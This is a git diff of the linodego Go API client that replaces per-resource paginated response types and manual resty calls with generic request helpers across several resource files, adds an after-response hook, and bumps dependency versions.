User struct { Username string `json:"username"` Email string `json:"email"` + UserType UserType `json:"user_type"` Restricted bool `json:"restricted"` TFAEnabled bool `json:"tfa_enabled"` SSHKeys []string `json:"ssh_keys"` @@ -72,91 +79,53 @@ func (i User) GetUpdateOptions() (o UserUpdateOptions) { return } -// UsersPagedResponse represents a paginated User API response -type UsersPagedResponse struct { - *PageOptions - Data []User `json:"data"` -} - -// endpoint gets the endpoint URL for User -func (UsersPagedResponse) endpoint(_ ...any) string { - return "account/users" -} - -func (resp *UsersPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(UsersPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*UsersPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListUsers lists Users on the account func (c *Client) ListUsers(ctx context.Context, opts *ListOptions) ([]User, error) { - response := UsersPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[User](ctx, c, "account/users", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // GetUser gets the user with the provided ID func (c *Client) GetUser(ctx context.Context, userID string) (*User, error) { - userID = url.PathEscape(userID) - e := fmt.Sprintf("account/users/%s", userID) - req := c.R(ctx).SetResult(&User{}) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/users/%s", userID) + response, err := doGETRequest[User](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*User), nil + return response, nil } // CreateUser creates a User. The email address must be confirmed before the // User account can be accessed. func (c *Client) CreateUser(ctx context.Context, opts UserCreateOptions) (*User, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - e := "account/users" - req := c.R(ctx).SetResult(&User{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Post(e)) + response, err := doPOSTRequest[User](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*User), nil + return response, nil } // UpdateUser updates the User with the specified id func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateOptions) (*User, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - userID = url.PathEscape(userID) - e := fmt.Sprintf("account/users/%s", userID) - req := c.R(ctx).SetResult(&User{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Put(e)) + e := formatAPIPath("account/users/%s", userID) + response, err := doPUTRequest[User](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*User), nil + return response, nil } // DeleteUser deletes the User with the specified id func (c *Client) DeleteUser(ctx context.Context, userID string) error { - userID = url.PathEscape(userID) - e := fmt.Sprintf("account/users/%s", userID) - _, err := coupleAPIErrors(c.R(ctx).Delete(e)) + e := formatAPIPath("account/users/%s", userID) + err := doDELETERequest(ctx, c, e) return err } diff --git a/betas.go b/betas.go index 9cd84ad57..8f90220d9 100644 --- a/betas.go +++ b/betas.go @@ -3,11 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" - "net/url" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -32,17 +29,6 @@ type BetaProgram struct { MoreInfo string `json:"more_info"` } -// BetasPagedResponse represents a paginated Beta Programs API response -type BetasPagedResponse struct { - *PageOptions - Data []BetaProgram `json:"data"` -} - -// endpoint gets the endpoint URL for BetaProgram -func (BetasPagedResponse) endpoint(_ ...any) string { - return "/betas" -} - // UnmarshalJSON implements the json.Unmarshaler interface func (beta *BetaProgram) UnmarshalJSON(b []byte) error { type Mask BetaProgram @@ -65,35 +51,23 @@ func (beta *BetaProgram) UnmarshalJSON(b []byte) error { return nil } -func (resp *BetasPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(BetasPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*BetasPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListBetaPrograms lists active beta programs func (c *Client) ListBetaPrograms(ctx context.Context, opts *ListOptions) ([]BetaProgram, error) { - response := BetasPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[BetaProgram](ctx, c, "/betas", opts) if err != nil { return nil, err } - return response.Data, nil + + return response, nil } // GetBetaProgram gets the beta program's detail with the ID func (c *Client) GetBetaProgram(ctx context.Context, betaID string) (*BetaProgram, error) { - req := c.R(ctx).SetResult(&BetaProgram{}) - betaID = url.PathEscape(betaID) - b := fmt.Sprintf("betas/%s", betaID) - r, err := coupleAPIErrors(req.Get(b)) + e := formatAPIPath("betas/%s", betaID) + response, err := doGETRequest[BetaProgram](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*BetaProgram), nil + return response, nil } diff --git a/client.go b/client.go index 4c9eedb36..af83cb918 100644 --- a/client.go +++ b/client.go @@ -85,8 +85,9 @@ type clientCacheEntry struct { } type ( - Request = resty.Request - Logger = resty.Logger + Request = resty.Request + Response = resty.Response + Logger = resty.Logger ) func init() { @@ -141,6 +142,13 @@ func (c *Client) OnBeforeRequest(m func(request *Request) error) { }) } +// OnAfterResponse adds a handler to the request body to run before the request is sent +func (c *Client) OnAfterResponse(m func(response *Response) error) { + c.resty.OnAfterResponse(func(_ *resty.Client, req *resty.Response) error { + return m(req) + }) +} + // UseURL parses the individual components of the given API URL and configures the client // accordingly. For example, a valid URL. // For example: diff --git a/databases.go b/databases.go index 50d752d51..c665da775 100644 --- a/databases.go +++ b/databases.go @@ -3,11 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" - "net/url" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -53,63 +50,6 @@ const ( DatabaseStatusBackingUp DatabaseStatus = "backing_up" ) -type DatabasesPagedResponse struct { - *PageOptions - Data []Database `json:"data"` -} - -func (DatabasesPagedResponse) endpoint(_ ...any) string { - return "databases/instances" -} - -func (resp *DatabasesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(DatabasesPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*DatabasesPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - -type DatabaseEnginesPagedResponse struct { - *PageOptions - Data []DatabaseEngine `json:"data"` -} - -func (DatabaseEnginesPagedResponse) endpoint(_ ...any) string { - return "databases/engines" -} - -func (resp *DatabaseEnginesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(DatabaseEnginesPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*DatabaseEnginesPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - -type DatabaseTypesPagedResponse struct { - *PageOptions - Data []DatabaseType `json:"data"` -} - -func (DatabaseTypesPagedResponse) endpoint(_ ...any) string { - return "databases/types" -} - -func (resp *DatabaseTypesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(DatabaseTypesPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*DatabaseTypesPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // A Database is a instance of Linode Managed Databases type Database struct { ID int `json:"id"` @@ -202,100 +142,52 @@ func (d *Database) UnmarshalJSON(b []byte) error { // ListDatabases lists all Database instances in Linode Managed Databases for the account func (c *Client) ListDatabases(ctx context.Context, opts *ListOptions) ([]Database, error) { - response := DatabasesPagedResponse{} - - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Database](ctx, c, "databases/instances", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // ListDatabaseEngines lists all Database Engines. This endpoint is cached by default. func (c *Client) ListDatabaseEngines(ctx context.Context, opts *ListOptions) ([]DatabaseEngine, error) { - response := DatabaseEnginesPagedResponse{} - - endpoint, err := generateListCacheURL(response.endpoint(), opts) - if err != nil { - return nil, err - } - - if result := c.getCachedResponse(endpoint); result != nil { - return result.([]DatabaseEngine), nil - } - - err = c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[DatabaseEngine](ctx, c, "databases/engines", opts) if err != nil { return nil, err } - c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) - - return response.Data, nil + return response, nil } // GetDatabaseEngine returns a specific Database Engine. This endpoint is cached by default. func (c *Client) GetDatabaseEngine(ctx context.Context, _ *ListOptions, engineID string) (*DatabaseEngine, error) { - engineID = url.PathEscape(engineID) - e := fmt.Sprintf("databases/engines/%s", engineID) - - if result := c.getCachedResponse(e); result != nil { - result := result.(DatabaseEngine) - return &result, nil - } - - req := c.R(ctx).SetResult(&DatabaseEngine{}) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("databases/engines/%s", engineID) + response, err := doGETRequest[DatabaseEngine](ctx, c, e) if err != nil { return nil, err } - c.addCachedResponse(e, r.Result(), &cacheExpiryTime) - - return r.Result().(*DatabaseEngine), nil + return response, nil } // ListDatabaseTypes lists all Types of Database provided in Linode Managed Databases. This endpoint is cached by default. func (c *Client) ListDatabaseTypes(ctx context.Context, opts *ListOptions) ([]DatabaseType, error) { - response := DatabaseTypesPagedResponse{} - - endpoint, err := generateListCacheURL(response.endpoint(), opts) - if err != nil { - return nil, err - } - - if result := c.getCachedResponse(endpoint); result != nil { - return result.([]DatabaseType), nil - } - - err = c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[DatabaseType](ctx, c, "databases/types", opts) if err != nil { return nil, err } - c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) - - return response.Data, nil + return response, nil } // GetDatabaseType returns a specific Database Type. This endpoint is cached by default. func (c *Client) GetDatabaseType(ctx context.Context, _ *ListOptions, typeID string) (*DatabaseType, error) { - typeID = url.PathEscape(typeID) - e := fmt.Sprintf("databases/types/%s", typeID) - - if result := c.getCachedResponse(e); result != nil { - result := result.(DatabaseType) - return &result, nil - } - - req := c.R(ctx).SetResult(&DatabaseType{}) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("databases/types/%s", typeID) + response, err := doGETRequest[DatabaseType](ctx, c, e) if err != nil { return nil, err } - c.addCachedResponse(e, r.Result(), &cacheExpiryTime) - - return r.Result().(*DatabaseType), nil + return response, nil } diff --git a/domain_records.go b/domain_records.go index fcb664d84..11e246d22 100644 --- a/domain_records.go +++ b/domain_records.go @@ -2,10 +2,6 @@ package linodego import ( "context" - "encoding/json" - "fmt" - - "github.com/go-resty/resty/v2" ) // DomainRecord represents a DomainRecord object @@ -83,86 +79,52 @@ func (d DomainRecord) GetUpdateOptions() (du DomainRecordUpdateOptions) { return } -// DomainRecordsPagedResponse represents a paginated DomainRecord API response -type DomainRecordsPagedResponse struct { - *PageOptions - Data []DomainRecord `json:"data"` -} - -// endpoint gets the endpoint URL for InstanceConfig -func (DomainRecordsPagedResponse) endpoint(ids ...any) string { - id, _ := ids[0].(int) - return fmt.Sprintf("domains/%d/records", id) -} - -func (resp *DomainRecordsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(DomainRecordsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*DomainRecordsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListDomainRecords lists DomainRecords func (c *Client) ListDomainRecords(ctx context.Context, domainID int, opts *ListOptions) ([]DomainRecord, error) { - response := DomainRecordsPagedResponse{} - err := c.listHelper(ctx, &response, opts, domainID) + response, err := getPaginatedResults[DomainRecord](ctx, c, formatAPIPath("domains/%d/records", domainID), opts) if err != nil { return nil, err } - return response.Data, nil + + return response, nil } // GetDomainRecord gets the domainrecord with the provided ID func (c *Client) GetDomainRecord(ctx context.Context, domainID int, recordID int) (*DomainRecord, error) { - req := c.R(ctx).SetResult(&DomainRecord{}) - e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("domains/%d/records/%d", domainID, recordID) + response, err := doGETRequest[DomainRecord](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*DomainRecord), nil + + return response, nil } // CreateDomainRecord creates a DomainRecord func (c *Client) CreateDomainRecord(ctx context.Context, domainID int, opts DomainRecordCreateOptions) (*DomainRecord, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - e := fmt.Sprintf("domains/%d/records", domainID) - req := c.R(ctx).SetResult(&DomainRecord{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Post(e)) + e := formatAPIPath("domains/%d/records", domainID) + response, err := doPOSTRequest[DomainRecord](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*DomainRecord), nil + return response, nil } // UpdateDomainRecord updates the DomainRecord with the specified id func (c *Client) UpdateDomainRecord(ctx context.Context, domainID int, recordID int, opts DomainRecordUpdateOptions) (*DomainRecord, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) - req := c.R(ctx).SetResult(&DomainRecord{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Put(e)) + e := formatAPIPath("domains/%d/records/%d", domainID, recordID) + response, err := doPUTRequest[DomainRecord](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*DomainRecord), nil + return response, nil } // DeleteDomainRecord deletes the DomainRecord with the specified id func (c *Client) DeleteDomainRecord(ctx context.Context, domainID int, recordID int) error { - e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) - _, err := coupleAPIErrors(c.R(ctx).Delete(e)) + e := formatAPIPath("domains/%d/records/%d", domainID, recordID) + err := doDELETERequest(ctx, c, e) return err } diff --git a/domains.go b/domains.go index eff796fa8..0bc05bdd2 100644 --- a/domains.go +++ b/domains.go @@ -2,10 +2,6 @@ package linodego import ( "context" - "encoding/json" - "fmt" - - "github.com/go-resty/resty/v2" ) // Domain represents a Domain object @@ -188,99 +184,63 @@ func (d Domain) GetUpdateOptions() (du DomainUpdateOptions) { return } -// DomainsPagedResponse represents a paginated Domain API response -type DomainsPagedResponse struct { - *PageOptions - Data []Domain `json:"data"` -} - -// endpoint gets the endpoint URL for Domain -func (DomainsPagedResponse) endpoint(_ ...any) string { - return "domains" -} - -func (resp *DomainsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(DomainsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*DomainsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListDomains lists Domains func (c *Client) ListDomains(ctx context.Context, opts *ListOptions) ([]Domain, error) { - response := DomainsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Domain](ctx, c, "domains", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // GetDomain gets the domain with the provided ID func (c *Client) GetDomain(ctx context.Context, domainID int) (*Domain, error) { - req := c.R(ctx).SetResult(&Domain{}) - e := fmt.Sprintf("domains/%d", domainID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("domains/%d", domainID) + response, err := doGETRequest[Domain](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Domain), nil + return response, nil } // CreateDomain creates a Domain func (c *Client) CreateDomain(ctx context.Context, opts DomainCreateOptions) (*Domain, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - req := c.R(ctx).SetResult(&Domain{}).SetBody(string(body)) e := "domains" - r, err := coupleAPIErrors(req.Post(e)) + response, err := doPOSTRequest[Domain](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*Domain), nil + return response, nil } // UpdateDomain updates the Domain with the specified id func (c *Client) UpdateDomain(ctx context.Context, domainID int, opts DomainUpdateOptions) (*Domain, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - e := fmt.Sprintf("domains/%d", domainID) - req := c.R(ctx).SetResult(&Domain{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Put(e)) + e := formatAPIPath("domains/%d", domainID) + response, err := doPUTRequest[Domain](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*Domain), nil + return response, nil } // DeleteDomain deletes the Domain with the specified id func (c *Client) DeleteDomain(ctx context.Context, domainID int) error { - e := fmt.Sprintf("domains/%d", domainID) - _, err := coupleAPIErrors(c.R(ctx).Delete(e)) + e := formatAPIPath("domains/%d", domainID) + err := doDELETERequest(ctx, c, e) return err } // GetDomainZoneFile gets the zone file for the last rendered zone for the specified domain. func (c *Client) GetDomainZoneFile(ctx context.Context, domainID int) (*DomainZoneFile, error) { - e := fmt.Sprintf("domains/%d/zone-file", domainID) - req := c.R(ctx).SetResult(&DomainZoneFile{}) - resp, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("domains/%d/zone-file", domainID) + response, err := doGETRequest[DomainZoneFile](ctx, c, e) if err != nil { return nil, err } - return resp.Result().(*DomainZoneFile), nil + return response, nil } diff --git a/firewall_devices.go b/firewall_devices.go index 901cf43d8..91896d288 100644 --- a/firewall_devices.go +++ b/firewall_devices.go @@ -3,10 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -62,68 +60,41 @@ type FirewallDeviceEntity struct { URL string `json:"url"` } -// FirewallDevicesPagedResponse represents a Linode API response for FirewallDevices -type FirewallDevicesPagedResponse struct { - *PageOptions - Data []FirewallDevice `json:"data"` -} - -// endpoint gets the endpoint URL for FirewallDevices of a given Firewall -func (FirewallDevicesPagedResponse) endpoint(ids ...any) string { - id, _ := ids[0].(int) - return fmt.Sprintf("networking/firewalls/%d/devices", id) -} - -func (resp *FirewallDevicesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(FirewallDevicesPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*FirewallDevicesPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListFirewallDevices get devices associated with a given Firewall func (c *Client) ListFirewallDevices(ctx context.Context, firewallID int, opts *ListOptions) ([]FirewallDevice, error) { - response := FirewallDevicesPagedResponse{} - err := c.listHelper(ctx, &response, opts, firewallID) + response, err := getPaginatedResults[FirewallDevice](ctx, c, formatAPIPath("networking/firewalls/%d/devices", firewallID), opts) if err != nil { return nil, err } - return response.Data, nil + + return response, nil } // GetFirewallDevice gets a FirewallDevice given an ID func (c *Client) GetFirewallDevice(ctx context.Context, firewallID, deviceID int) (*FirewallDevice, error) { - e := fmt.Sprintf("networking/firewalls/%d/devices/%d", firewallID, deviceID) - req := c.R(ctx).SetResult(&FirewallDevice{}) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("networking/firewalls/%d/devices/%d", firewallID, deviceID) + response, err := doGETRequest[FirewallDevice](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*FirewallDevice), nil + + return response, nil } // AddFirewallDevice associates a Device with a given Firewall func (c *Client) CreateFirewallDevice(ctx context.Context, firewallID int, opts FirewallDeviceCreateOptions) (*FirewallDevice, error) { - body, err := json.Marshal(opts) + e := formatAPIPath("networking/firewalls/%d/devices", firewallID) + response, err := doPOSTRequest[FirewallDevice](ctx, c, e, opts) if err != nil { return nil, err } - e := fmt.Sprintf("networking/firewalls/%d/devices", firewallID) - req := c.R(ctx).SetResult(&FirewallDevice{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Post(e)) - if err != nil { - return nil, err - } - return r.Result().(*FirewallDevice), nil + return response, nil } // DeleteFirewallDevice disassociates a Device with a given Firewall func (c *Client) DeleteFirewallDevice(ctx context.Context, firewallID, deviceID int) error { - e := fmt.Sprintf("networking/firewalls/%d/devices/%d", firewallID, deviceID) - _, err := coupleAPIErrors(c.R(ctx).Delete(e)) + e := formatAPIPath("networking/firewalls/%d/devices/%d", firewallID, deviceID) + err := doDELETERequest(ctx, c, e) return err } diff --git a/go.mod b/go.mod index 62840d66d..85774fe6e 100644 --- a/go.mod +++ b/go.mod @@ -4,13 +4,18 @@ require ( github.com/go-resty/resty/v2 v2.13.1 github.com/google/go-cmp v0.6.0 github.com/jarcoal/httpmock v1.3.1 - golang.org/x/net v0.25.0 - golang.org/x/oauth2 v0.20.0 - golang.org/x/text v0.15.0 + golang.org/x/net v0.26.0 + golang.org/x/oauth2 v0.21.0 + golang.org/x/text v0.16.0 gopkg.in/ini.v1 v1.66.6 ) -require github.com/stretchr/testify v1.9.0 // indirect +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/stretchr/testify v1.9.0 + gopkg.in/yaml.v3 v3.0.1 // indirect +) go 1.21 diff --git a/go.sum b/go.sum index 9dae291cf..4744a7afb 100644 --- a/go.sum +++ b/go.sum @@ -25,10 +25,11 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= -golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/oauth2 v0.20.0 h1:4mQdhULixXKP1rwYBW0vAijoXnkTG0BLCDRzfe1idMo= -golang.org/x/oauth2 v0.20.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= +golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= +golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= +golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -53,8 +54,9 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -62,6 +64,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/go.work.sum b/go.work.sum index 64b19912d..e69de29bb 100644 --- a/go.work.sum +++ b/go.work.sum @@ -1,278 +0,0 @@ -cloud.google.com/go v0.81.0 h1:at8Tk2zUz63cLPR0JPWm5vp77pEZmzxEQBEfRKn1VV8= -cloud.google.com/go v0.110.2 h1:sdFPBr6xG9/wkBbfhmUz/JmZC7X6LavQgcrVINrKiVA= -cloud.google.com/go v0.110.2/go.mod h1:k04UEeEtb6ZBRTv3dZz4CeJC3jKGxyhl0sAiVVquxiw= -cloud.google.com/go/bigquery v1.8.0 h1:PQcPefKFdaIzjQFbiyOgAqyx8q5djaE7x9Sqe712DPA= -cloud.google.com/go/compute v1.20.1 h1:6aKEtlUiwEpJzM001l0yFkpXmUVXaN8W+fbkb2AZNbg= -cloud.google.com/go/compute v1.20.1/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM= -cloud.google.com/go/compute/metadata v0.2.0 h1:nBbNSZyDpkNlo3DepaaLKVuO7ClyifSAmNloSCZrHnQ= -cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= -cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= -cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= -cloud.google.com/go/compute/metadata v0.3.0 h1:Tz+eQXMEqDIKRsmY3cHTL6FVaynIjX2QxYC4trgAKZc= -cloud.google.com/go/compute/metadata v0.3.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= -cloud.google.com/go/datastore v1.1.0 h1:/May9ojXjRkPBNVrq+oWLqmWCkr4OU5uRY29bu0mRyQ= -cloud.google.com/go/pubsub v1.3.1 h1:ukjixP1wl0LpnZ6LWtZJ0mX5tBmjp1f8Sqer8Z2OMUU= -cloud.google.com/go/storage v1.10.0 h1:STgFzyU5/8miMl0//zKh2aQeTyeaUH3WN9bSUiJ09bA= -dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9 h1:VpgP7xuJadIUuKccphEpTJnWhS2jkQyMt6Y7pJCD7fY= -github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs= -github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI= -github.com/Azure/go-autorest/autorest v0.11.18 h1:90Y4srNYrwOtAgVo3ndrQkTYn6kf1Eg/AjTFJ8Is2aM= -github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0= -github.com/Azure/go-autorest/autorest/adal v0.9.13 h1:Mp5hbtOePIzM8pJVRa3YLrWWmZtoxRXqUEzCfJt3+/Q= -github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA= -github.com/Azure/go-autorest/autorest/date v0.3.0 h1:7gUk1U5M/CQbp9WoqinNzJar+8KY+LPI6wiWrP/myHw= -github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= -github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= -github.com/Azure/go-autorest/autorest/mocks v0.4.1 h1:K0laFcLE6VLTOwNgSxaGbUcLPuGXlNkbVvq4cW4nIHk= -github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc= 